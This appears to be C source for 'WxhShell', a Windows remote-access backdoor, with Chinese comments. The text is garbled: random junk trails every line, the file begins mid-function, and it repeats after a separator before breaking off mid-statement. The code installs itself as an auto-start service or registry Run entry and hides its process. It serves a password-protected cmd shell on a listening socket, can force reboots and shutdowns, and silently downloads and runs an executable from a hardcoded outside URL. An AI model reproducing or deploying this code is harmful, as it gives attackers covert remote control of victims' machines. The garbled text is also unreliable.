    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DMf^>{[  
    if(Boot(SHUTDOWN)) DT9i<kl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /cI]Z^&  
    else { &`>*3m(  
    closesocket(wsh); _LK>3S qd  
    ExitThread(0); VKik8)/.  
    } +\:I3nKs%  
    break; oAvJ"JH@i  
    } ;"Ot\:0  
  // 获取shell T7W+K7kbI  
  case 's': { W_sDF; JP  
    CmdShell(wsh); ^f`#8G7(  
    closesocket(wsh); 40g&zU-  
    ExitThread(0); snEkei|0  
    break; [MiD%FfcNH  
  } k*!J,/=k  
  // 退出 DJn>. Gd  
  case 'x': { xE6y9"}!h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |23 }~c,  
    CloseIt(wsh); *=2jteG=3.  
    break; fA 3  
    } p!Gf ^  
  // 离开 6@I7UL >  
  case 'q': { G3U+BC23E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6B+ @76wH  
    closesocket(wsh); 9*2hBNp+  
    WSACleanup(); sdO;vp^:b  
    exit(1); J,~)9Kh$  
    break; 8\a)}k~4  
        } 3Q;^X(Ml*  
  } tICxAp:  
  } 9J%>2AA  
Y]Fq)  -  
  // 提示信息 72{kig9c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tNUcmiY  
} gai?LXM l}  
  } 7H[+iS0  
DC$ S. {n  
  return; n!N;WL3k  
} jkdNisq37  
cX=` Tl  
// shell模块句柄 1L9^N  
int CmdShell(SOCKET sock) 7}lZa~/  
{ BF_k~  
STARTUPINFO si; IIu3mXAw  
ZeroMemory(&si,sizeof(si)); Y^!40XjrD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b%_QL3 m6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N%_~cR;  
PROCESS_INFORMATION ProcessInfo; z44uhRh  
char cmdline[]="cmd"; %fyb?6?Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _cJ{fYwYU  
  return 0; j)]'kg  
} #k"[TCQ>  
CVUJ(D&Q  
// 自身启动模式 8bysg9H0  
int StartFromService(void) ~::R+Lh(  
{ HaC3y[LJ0  
typedef struct C= m Y  
{ /Z% ?;  
  DWORD ExitStatus; $x)'_o}e  
  DWORD PebBaseAddress; I^wj7cFo5  
  DWORD AffinityMask; ,yqzk.  
  DWORD BasePriority; B>]5/!_4  
  ULONG UniqueProcessId; 0Fw\iy1o  
  ULONG InheritedFromUniqueProcessId; $XI<s$P%(%  
}   PROCESS_BASIC_INFORMATION; (G"qIw   
<s2l*mc  
PROCNTQSIP NtQueryInformationProcess; ,G:4H%?  
,C&>mv xA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _Pz3QsV9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EGDE4n5>I  
4l1=l#\S  
  HANDLE             hProcess; o"FX+ 17  
  PROCESS_BASIC_INFORMATION pbi; FKx9$B  
]Tl\9we  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *~cs8<.!1  
  if(NULL == hInst ) return 0; :^s7#4%6  
LWL>hd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I>3]4mI*a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hb+#*42v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9e)+<H  
0C p}  
  if (!NtQueryInformationProcess) return 0; ]~.J@ 1?  
=qtoDe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]6;AK\9TM  
  if(!hProcess) return 0; m c+wRx  
1b7xw#gLx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L@_">' pR  
F=om^6G%X5  
  CloseHandle(hProcess); j'i42-Lt/p  
cGc|n3(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A]+h<Y~}  
if(hProcess==NULL) return 0; [4hO3):F  
sBb.Y k  
HMODULE hMod; r^E]GDz  
char procName[255]; Tb= {g;0 @  
unsigned long cbNeeded; w&"w"  
KYu(H[a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !~N4}!X3du  
UBi4itGD  
  CloseHandle(hProcess); M',D  
iW}l[g8sw!  
if(strstr(procName,"services")) return 1; // 以服务启动 `zp2;]W  
?66(t  
  return 0; // 注册表启动 ]X~g@O{>_  
} E)JyKm.  
0Ad ~!Y+1  
// 主模块 <gdgcvd  
int StartWxhshell(LPSTR lpCmdLine) unnx#e]  
{ @6co\.bv  
  SOCKET wsl; ~snF20  
BOOL val=TRUE; :#[_Osmf(  
  int port=0; & fSc{/  
  struct sockaddr_in door; K) `:v|d  
j 3MciQ`  
  if(wscfg.ws_autoins) Install(); !Gp3/<"Wy$  
p,iCM?[|  
port=atoi(lpCmdLine); v$m[#&O^V?  
 aoDD&JE  
if(port<=0) port=wscfg.ws_port; %i-lx`U  
N+M&d3H`  
  WSADATA data; = b<<5N s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Hj'nA^  
0O#B'Uu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'K3 s4x($  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uR ;-eK  
  door.sin_family = AF_INET; ZSRR lkU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P$3=i`X!nw  
  door.sin_port = htons(port); h Y}/Y  
5 Y Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aw/7Z`   
closesocket(wsl); pf8O`e,Awf  
return 1; ,xYsH+ybA  
} 7<:Wq=e!r  
V[Rrst0yo  
  if(listen(wsl,2) == INVALID_SOCKET) { GwQZf|  
closesocket(wsl); )@,90Vhh  
return 1; 3kiE3*H  
} Q)Iv_N/  
  Wxhshell(wsl); ;T.s!B$Uu  
  WSACleanup(); b6nZ55 h  
)Ig+uDGk  
return 0; {OO*iZ.O  
I f3{E  
} +_X,uvR  
ahNX/3; y  
// 以NT服务方式启动 l Io9,Ke  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DB`$Ru@  
{ n @ &"+  
DWORD   status = 0; ]$~Fzs  
  DWORD   specificError = 0xfffffff; Fm<jg}>MAd  
#2Pr Gz]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "x(>Sj\%I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b96t0w!cs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v /R[?H)  
  serviceStatus.dwWin32ExitCode     = 0; ;&Bna#~B  
  serviceStatus.dwServiceSpecificExitCode = 0; YlswSQ  
  serviceStatus.dwCheckPoint       = 0; {f+N]Oo*  
  serviceStatus.dwWaitHint       = 0; ;)(Sdf[P  
gA~20LSt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R_1)mPQ^P  
  if (hServiceStatusHandle==0) return; O^9CV*]!n  
m'cz5mcD  
status = GetLastError(); D|@bGN  
  if (status!=NO_ERROR) %G;0T;0L  
{ 4q>7OB:e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DR:8oo&E  
    serviceStatus.dwCheckPoint       = 0; M1oPOC\0.  
    serviceStatus.dwWaitHint       = 0; 5D,.^a1 A  
    serviceStatus.dwWin32ExitCode     = status; GX4QaT%  
    serviceStatus.dwServiceSpecificExitCode = specificError; X E|B)Q(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;LCTCt`  
    return; ?X\3&Ujy$  
  } .L9']zXc`  
! z11" c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t, U) ~wi  
  serviceStatus.dwCheckPoint       = 0; IY=/` g  
  serviceStatus.dwWaitHint       = 0; 1/B]TT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7vn%kW=$  
} YT>KJ  
)Im3'0l>  
// 处理NT服务事件,比如:启动、停止 Hd9XfU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _7U]&Nh99  
{ ? ^M /[@  
switch(fdwControl) kv6Cp0uFg  
{ 1y J5l,q  
case SERVICE_CONTROL_STOP: JVtQ ,oZ  
  serviceStatus.dwWin32ExitCode = 0; /<);=&[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C5xag#Z1  
  serviceStatus.dwCheckPoint   = 0; q:I$EpKf?Q  
  serviceStatus.dwWaitHint     = 0; v??TJ^1  
  { ,57$N&w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0}{'C5  
  } {C3U6kKs;R  
  return; bu>qsU3  
case SERVICE_CONTROL_PAUSE: j~;;l!({i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  MJ`N,E[  
  break; 0Vkl`DmeM.  
case SERVICE_CONTROL_CONTINUE: 'Gx$Bj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8) N@qUV  
  break; c.A Yx I"  
case SERVICE_CONTROL_INTERROGATE: -w1@!Sdd  
  break; ,R?np9wc  
}; `s|]"'rX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <3 TA>Dz  
} W+Xz$j/u  
O~!T3APGU  
// 标准应用程序主函数 $Az^Y0[D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Dg <Ki  
{ Qck| #tc  
(hB?  
// 获取操作系统版本 Kv37s0|g  
OsIsNt=GetOsVer(); ?-MP_9!JK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 33'Y[4  
~ Vw9  
  // 从命令行安装 :u6JjW[a)  
  if(strpbrk(lpCmdLine,"iI")) Install(); W#'c 5:m 4  
\(~wZd  
  // 下载执行文件 MP^ d}FL  
if(wscfg.ws_downexe) { ,HB2 hHD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T f4tj!t-  
  WinExec(wscfg.ws_filenam,SW_HIDE); r X'*|]  
}  R'}95S<  
SJ?6{2^  
if(!OsIsNt) { :O-iykXyI  
// 如果时win9x,隐藏进程并且设置为注册表启动 (xl\J/  
HideProc(); lDc-W =X=  
StartWxhshell(lpCmdLine); ,](:<A)W&  
} q[3x2sR  
else ?S Z1`.S  
  if(StartFromService()) h.eM RdlO  
  // 以服务方式启动 "{D6J809  
  StartServiceCtrlDispatcher(DispatchTable); m<rhIq  
else lg :  
  // 普通方式启动 8uNULob  
  StartWxhshell(lpCmdLine); Cx<0 H  
/./"x~@  
return 0; <TGn=>u  
} #KxbM-1=  
#[{3} %b  
^y!;xc$(Qs  
_"@CGXu  
=========================================== )s_n  
]z/Zq  
#LlUxHv #  
?BA]7M(,4  
Tm}rH]F&  
4y:]DC"  
" IU FH:w]  
W%<LTWOc  
#include <stdio.h> YB<*"HxM)}  
#include <string.h> {7u[1[L1  
#include <windows.h> c 'uhK8|  
#include <winsock2.h> ">f erhN9  
#include <winsvc.h> [.se|]t7X  
#include <urlmon.h> ca i <,3H  
>r`b_K  
#pragma comment (lib, "Ws2_32.lib") L`f^y;Y.  
#pragma comment (lib, "urlmon.lib") 7tUA>;++  
*IgE)N >  
#define MAX_USER   100 // 最大客户端连接数 Zl 9aDg  
#define BUF_SOCK   200 // sock buffer :B3[:MpL}  
#define KEY_BUFF   255 // 输入 buffer Q!- 0xlx  
lC:k7<0Ji  
#define REBOOT     0   // 重启 {3;AwhN0H  
#define SHUTDOWN   1   // 关机 :w}{$v}#D;  
valtev0<  
#define DEF_PORT   5000 // 监听端口 4BnSqwa_  
infl.  
#define REG_LEN     16   // 注册表键长度 D\IjyZ-O  
#define SVC_LEN     80   // NT服务名长度 'iLpE7  
8!.ojdyn  
// 从dll定义API 3bO(?l`3h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *6HTV0jv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .MO\uh0N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *8~86u GU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;&H4u)  
:#dE:L;T  
// wxhshell配置信息 NM ]bgpP  
struct WSCFG { 6'\6OsH  
  int ws_port;         // 监听端口 f0Bto/,>~  
  char ws_passstr[REG_LEN]; // 口令 8XbA'% o  
  int ws_autoins;       // 安装标记, 1=yes 0=no rG,5[/l  
  char ws_regname[REG_LEN]; // 注册表键名 :W b j\  
  char ws_svcname[REG_LEN]; // 服务名 fw ,\DFHO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jzU.Bu.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GfM;saTz{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 THmb6^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /}-CvSR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  XL7h}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >2#8B  
jxYc2  
}; v[Kxja;  
qI^ /"k*5  
// default Wxhshell configuration kdGT{2u  
struct WSCFG wscfg={DEF_PORT, t&?i m<  
    "xuhuanlingzhe", Df3rV'/~  
    1, ?%H):r  
    "Wxhshell", M'_9A  
    "Wxhshell", l<M'=-Y  
            "WxhShell Service", T|tOTk  
    "Wrsky Windows CmdShell Service", |_u aS  
    "Please Input Your Password: ", g-Pwp[!qkf  
  1, aZ\UrV4,  
  "http://www.wrsky.com/wxhshell.exe", y8fsveX  
  "Wxhshell.exe" ^ns@O+Fk  
    }; *Q1~S]g  
7RZh<A>m  
// 消息定义模块 _{M\Bs2<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c'*a{CV4P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {d?$m*YR3`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Pa@1']  
char *msg_ws_ext="\n\rExit."; G7D2{J{1  
char *msg_ws_end="\n\rQuit."; '= l[;Q^Q  
char *msg_ws_boot="\n\rReboot..."; VN%INUi@  
char *msg_ws_poff="\n\rShutdown..."; IgC}&  
char *msg_ws_down="\n\rSave to "; 1T:Y0  
JMTvSXr  
char *msg_ws_err="\n\rErr!"; wY"Q o7  
char *msg_ws_ok="\n\rOK!"; dMrd_1  
29reG,>  
char ExeFile[MAX_PATH]; p019)X|vx  
int nUser = 0; *28pRvY:b  
HANDLE handles[MAX_USER]; 7==f\%,  
int OsIsNt; oHs2L-G  
\cCV6A[  
SERVICE_STATUS       serviceStatus; R<V!%rL;;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; san,|yrMn  
]%!u7z|\6  
// 函数声明 sCu+Lg~f  
int Install(void); JCW\ *R  
int Uninstall(void); y_.!!@,  
int DownloadFile(char *sURL, SOCKET wsh); l{D'uI[&  
int Boot(int flag); `~cuQ<3Tn  
void HideProc(void); t3+Py7qv  
int GetOsVer(void); 'KPASfC  
int Wxhshell(SOCKET wsl); N;+[`l  
void TalkWithClient(void *cs); c,*9K/:  
int CmdShell(SOCKET sock); lvp8z) G  
int StartFromService(void); YX*Qd$chZ  
int StartWxhshell(LPSTR lpCmdLine); #:d =)Qj0  
)>c>oMgl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  kQ   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6eokCc"o  
}=!,o  
// 数据结构和表定义 u_).f<mUdF  
SERVICE_TABLE_ENTRY DispatchTable[] = lq"f[-8a2q  
{ mZUfn%QXb(  
{wscfg.ws_svcname, NTServiceMain}, Ig5L$bAM~  
{NULL, NULL} %r+vSGt;5  
}; 4GB7A]^E  
u~)`&1{%  
// 自我安装 PH{_ ,X  
int Install(void) IMk'#)  
{ F H1Z 2  
  char svExeFile[MAX_PATH]; 6b!F1  
  HKEY key; R-:fd!3oQ  
  strcpy(svExeFile,ExeFile); CZbYAxNl  
8KH\`5<  
// 如果是win9x系统,修改注册表设为自启动 Q#IG;  
if(!OsIsNt) { ?i`l[+G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #);[mW{F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jM:Y' l]  
  RegCloseKey(key); |!F5.%PY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "U \JV)N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -[qq(E  
  RegCloseKey(key); ( 9]_ HW[  
  return 0; D13Rx 6b  
    } SIKOFs  
  } jP~Z`y f  
} BI j=!!  
else { P4Th_B7  
eznypY=  
// 如果是NT以上系统,安装为系统服务 W0=O+0$^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ai*f F  
if (schSCManager!=0) O 1oxZj <  
{ ,hVvve,j}  
  SC_HANDLE schService = CreateService HV/cc"  
  ( <40rYr$/J  
  schSCManager, ?<* -j4v  
  wscfg.ws_svcname, {-A^g!jT&  
  wscfg.ws_svcdisp, cT\I[9! )  
  SERVICE_ALL_ACCESS, eh[_~>w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oBUxKisW  
  SERVICE_AUTO_START, z5bo_Eq  
  SERVICE_ERROR_NORMAL, <94_@3  
  svExeFile, %_UN<a  
  NULL, #oJ5k8Wy  
  NULL, F:#J:x'  
  NULL, =YG _z^'  
  NULL, `HuCT6O  
  NULL %okzOKKX  
  ); CU7F5@+  
  if (schService!=0) ?b!Fa  
  { sK=0Np=`  
  CloseServiceHandle(schService); A6oq.I0  
  CloseServiceHandle(schSCManager); <[GYLN[0Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2m>-dqg  
  strcat(svExeFile,wscfg.ws_svcname); dSCzx .c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LJVG~Yeo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ESoAz o,u  
  RegCloseKey(key); }CxvT`/  
  return 0; O@iu aeEW  
    } )+H[kiN  
  } 3 DaQo0N  
  CloseServiceHandle(schSCManager); ""svDfy$  
} +PK6-c\r  
} {J5JYdK  
@u._"/K  
return 1; ^h &I H|  
} aiCn"j  
\Ey~3&x9f  
// 自我卸载 !6}O.Nu  
int Uninstall(void) bw&myzs  
{ 79=45'8  
  HKEY key;  _ q(Q  
N -w(e  
if(!OsIsNt) { xLZd!>C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [_xyl e  
  RegDeleteValue(key,wscfg.ws_regname); $<p8TtI=YQ  
  RegCloseKey(key); k n8N,,+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UofTll)  
  RegDeleteValue(key,wscfg.ws_regname); F>gmj'-^  
  RegCloseKey(key); {0!#>["<  
  return 0; oPKXZU(c  
  } @ \2#Dpr  
} A"Q@W<.  
} vw<K}z  
else { 9N[EZhW  
>5T_g2pkv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B pLEPuu30  
if (schSCManager!=0) V,%L ~dI  
{ z&4~x!-_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6k?`:QK/sl  
  if (schService!=0) T@^]i&  
  { dV8iwI  
  if(DeleteService(schService)!=0) { 5(&xNT-n8  
  CloseServiceHandle(schService); f+vVR1  
  CloseServiceHandle(schSCManager); O7aLlZdg~  
  return 0; Hoz56y  
  } 1@XgTL4  
  CloseServiceHandle(schService); +pqM ^3t|y  
  } OuIv e>8  
  CloseServiceHandle(schSCManager); u~Tg&0V30  
} LZ*R[  
} u@%|k c`  
:6;e\UE  
return 1; b4,jN~ci  
} [6(Iwz?  
K^%-NyV  
// 从指定url下载文件 %c^ m\ E  
int DownloadFile(char *sURL, SOCKET wsh) J7-^F)lu-  
{ R_D c)  
  HRESULT hr; -+U/Lrt>8  
char seps[]= "/"; 6!EYrX}rI[  
char *token; lj&>cScC  
char *file; \Rk$t7ZH  
char myURL[MAX_PATH]; B94 &elu  
char myFILE[MAX_PATH]; :,*eX' fH  
`hB1b["(  
strcpy(myURL,sURL); |k-XBp  
  token=strtok(myURL,seps); g{pQ4jKF  
  while(token!=NULL) K}I0o!(#  
  { I6OSC&A`  
    file=token; =g@9>3~{!  
  token=strtok(NULL,seps); ?p8k{N(1  
  } wFlV=!>,  
>mIg@knE  
GetCurrentDirectory(MAX_PATH,myFILE); RSWcaATZN  
strcat(myFILE, "\\"); (N U0T w  
strcat(myFILE, file); Ex($  
  send(wsh,myFILE,strlen(myFILE),0); Z^tGu7x  
send(wsh,"...",3,0); J^H =i)A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); + Oobb-v  
  if(hr==S_OK) rH}fLu8,;Q  
return 0; q=Xg*PM,  
else K=kH%ZK  
return 1; E5x]zXy4  
- 0~IY  
} kP,7Li\  
q6[}ydV  
// 系统电源模块 8&a_A:h  
int Boot(int flag) <lld*IH  
{ Kd{#r/HZ  
  HANDLE hToken; {fG|_+tl3o  
  TOKEN_PRIVILEGES tkp; { R*Y=Ie  
{^&k!H2  
  if(OsIsNt) { q`loOm=y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -^fzsBL.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hhf72IX  
    tkp.PrivilegeCount = 1; @P70W<<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;6<zjV7}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t.z$j  
if(flag==REBOOT) { Z t`j\^4n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YmCbxYa7  
  return 0; MuSaK %  
} }1rvM4{/+f  
else { jT"r$""1d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y*KC*/'"  
  return 0; W8.j /K:  
} |LFUzq>j  
  } *SGlqR['\e  
  else { ;vUxO<cKFq  
if(flag==REBOOT) { >r:X~XnRUj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5byeWH0n3  
  return 0; 4Bo<4 4-,  
} $F1_^A[  
else { <rMv0y+r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZV#$Z  
  return 0; V#H8d_V  
} KZi' v6  
} =jG?v'X  
\Jf9npz3  
return 1; 3*2I$e!Jt  
} 7AeP Gr  
/b+;: z  
// win9x进程隐藏模块 THr8o V5  
void HideProc(void) {0fz9"|U  
{ CjmV+%b4  
E4i@|jE~)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @4@PuWI0-  
  if ( hKernel != NULL ) O$(c. (_$  
  { OT%V{hD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rj&qh`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?to1rFrU  
    FreeLibrary(hKernel); ~ ;XYwQ"  
  } 86#-q7aX  
,P!D-MN$V  
return; y-<$bA[K~  
} RCQAtBd  
\"J?@  
// 获取操作系统版本 5<^'Cy  
int GetOsVer(void) V 1*Ad  
{ a0{[P$$  
  OSVERSIONINFO winfo; hXPocP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y[h#hZ  
  GetVersionEx(&winfo); )ib7K1GJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _o&94&  
  return 1; 7|K3WuLL  
  else =g >.X9lr  
  return 0; "0b?+ 3_{G  
} PqVW'FYe  
u7n[f@Eg,%  
// 客户端句柄模块 q[Vi[b^F  
int Wxhshell(SOCKET wsl) 8,_ -0_^$  
{ rNZO.qij z  
  SOCKET wsh; ;m' '9z)2  
  struct sockaddr_in client; \WiqN*ZF  
  DWORD myID; bI#<Ee0nJ  
|7 ]?>-  
  while(nUser<MAX_USER) C`3V=BB  
{ u0s'6=  
  int nSize=sizeof(client); [7'#~[a~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n}0za#G  
  if(wsh==INVALID_SOCKET) return 1; TN J<!6  
{=s:P|ah  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IKGTsA;  
if(handles[nUser]==0) E(% XVr0W  
  closesocket(wsh); 0r0c|*[+4z  
else | xp$OL"a  
  nUser++; 8~.iuFp  
  } *X~B-a|nJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )@!~8<_"  
'!Hhd![\=|  
  return 0; >_-!zjO8u  
} h (qshbC}  
<nj IXa{  
// 关闭 socket ~B<97x(X  
void CloseIt(SOCKET wsh) Y 5Qb4Sa  
{ LE8K)i  
closesocket(wsh); JOJh,8C) 6  
nUser--; /X@7ju;   
ExitThread(0); 3b+7^0frY#  
} ri#,ec|J  
;0;3BH A  
// 客户端请求句柄 5LO4P>fq  
void TalkWithClient(void *cs) SrdE>fNbs  
{ *C5:#A0  
ylkpYd  
  SOCKET wsh=(SOCKET)cs; Ok*VQKyDLH  
  char pwd[SVC_LEN]; #D= tX  
  char cmd[KEY_BUFF]; CFD*g\g<*  
char chr[1]; [&1iF1)4  
int i,j; >BJ2v=R A  
`x2fp6  
  while (nUser < MAX_USER) { 9@( O\xr  
-zPm{a  
if(wscfg.ws_passstr) { v;K{|zUdB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]&&I|K_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9+]ZH.(YE  
  //ZeroMemory(pwd,KEY_BUFF); F"-S~I7'L  
      i=0; :5r:I[FFy  
  while(i<SVC_LEN) { UN,<6D3\b  
-$AjD?;   
  // 设置超时 'u4}t5Bu5  
  fd_set FdRead; )EhTM-1  
  struct timeval TimeOut; Bx\#`Y  
  FD_ZERO(&FdRead); Z|]l"W*w  
  FD_SET(wsh,&FdRead); NFdJb\  
  TimeOut.tv_sec=8; + #|'|}j  
  TimeOut.tv_usec=0; r0~7v1rG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *raIV]W3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RH<@c^ S  
O{;M6U8C\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DH}s1mNMP  
  pwd=chr[0]; sL!;hKK  
  if(chr[0]==0xd || chr[0]==0xa) { d[~au=b  
  pwd=0; 1.hOE>A%  
  break; N%|^;4}k  
  } u+%)JhIp  
  i++; @"q~ AY  
    } I>N-95  
0!3!?E <  
  // 如果是非法用户,关闭 socket d_4n0Kh0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >GdLEE'w  
} N&R '$w  
p[ks} mca@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yrxx+z|wR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +~R.7NE%  
=2ATqb"$w  
while(1) { f)&`mqeE  
v :'P"uU;4  
  ZeroMemory(cmd,KEY_BUFF); X+(aQ >y  
\GjXsR*b5  
      // 自动支持客户端 telnet标准   htdn$kqG   
  j=0; w]]x[D]L  
  while(j<KEY_BUFF) { zJB+C=]D7H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J@u!S~&r  
  cmd[j]=chr[0];  3L 1lq .  
  if(chr[0]==0xa || chr[0]==0xd) { 73! x@Duh  
  cmd[j]=0; SdEb[  
  break; @&am!+z  
  } h=p-0 Mx .  
  j++; L!G9O]WB  
    } uK"$=v6|  
2vk8+LA(6  
  // 下载文件 P:zEx]Y%  
  if(strstr(cmd,"http://")) { b&|YQW} ~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } (GQDJp  
  if(DownloadFile(cmd,wsh)) 8V53+]c$Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OTy 4"%  
  else tyG nG0GK  
